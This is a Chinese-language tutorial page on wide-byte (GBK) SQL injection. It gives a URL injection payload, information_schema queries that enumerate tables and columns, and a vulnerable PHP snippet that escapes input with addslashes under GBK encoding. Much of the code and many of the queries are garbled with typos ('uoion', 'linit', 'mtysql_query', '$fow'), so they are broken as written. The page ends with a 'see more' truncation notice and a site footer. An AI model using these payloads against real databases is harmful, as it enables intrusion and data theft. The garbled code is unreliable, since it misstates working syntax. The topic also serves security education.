宽字节注入条件:
宽字节注入原理:
操作:
id =-1%df'uoion select 1, user(),3,%23
select table_name from information_schema.tables where table schema='sql' limit 0,1
select table_name from information_schema.table where table_schema = (select database() )limit 0,1
select colun_name from information_schema.columns where table_schema =(select database()) and table_name =(select table_name from information_schema.tables where table_schema=(select databse())limit 0,1)linit 0,1
这里使用了三层嵌套,第一层是taable_schema,它代表库名的嵌套,第二层和第三层是table_name的嵌套。可以看到语句中有两个limit,前一个limit控制表名的顺序,后一个则控制字段名的顺序。如这里查询的不是emails表,而是users表,则需要修改limit的值,后面操作如union注入所示,这里不再重复。
代码分析:
在宽字节注入页面中,程序GET参数ID,并对参数ID使用addslashes()转义,然后拼接到sql语句中,进行查询,代码如下:
<?php
$conn = mysql_connect('localhost','root','123456')or die ('bad!');
mysql_select_db('test',$conn)OR emMsg("数据库链接失败");
mysql_query("SET NAMES 'gbk'",$conn);
$id="SELECT * FROM users WHERE id='$id'LINIT,0,1";
$result = mtysql_query($sql<$conn)or die (mysql_error());
$row = mysql_fetch_array($result);
if($fow)
{
echo $row['username'].":".$row['address'];
}
else
{
print_r(mysql_error());
}
?>
</font>
<?php
echo"<br>The Query string is : ".$sql.""<br>";
?>
当访问id=1’时,执行的sql语句为:
SELECT * FROM users WHERE id='1\"
总结:
不是所有的网站都存在宽字节注入,只有数据库设置编码为GBK,并且开启了魔术引号的才存在
因篇幅问题不能全部显示,请点此查看更多更全内容
Copyright © 2019- hids.cn 版权所有 赣ICP备2024042780号-1
违法及侵权请联系:TEL:199 1889 7713 E-MAIL:2724546146@qq.com
本站由北京市万商天勤律师事务所王兴未律师提供法律服务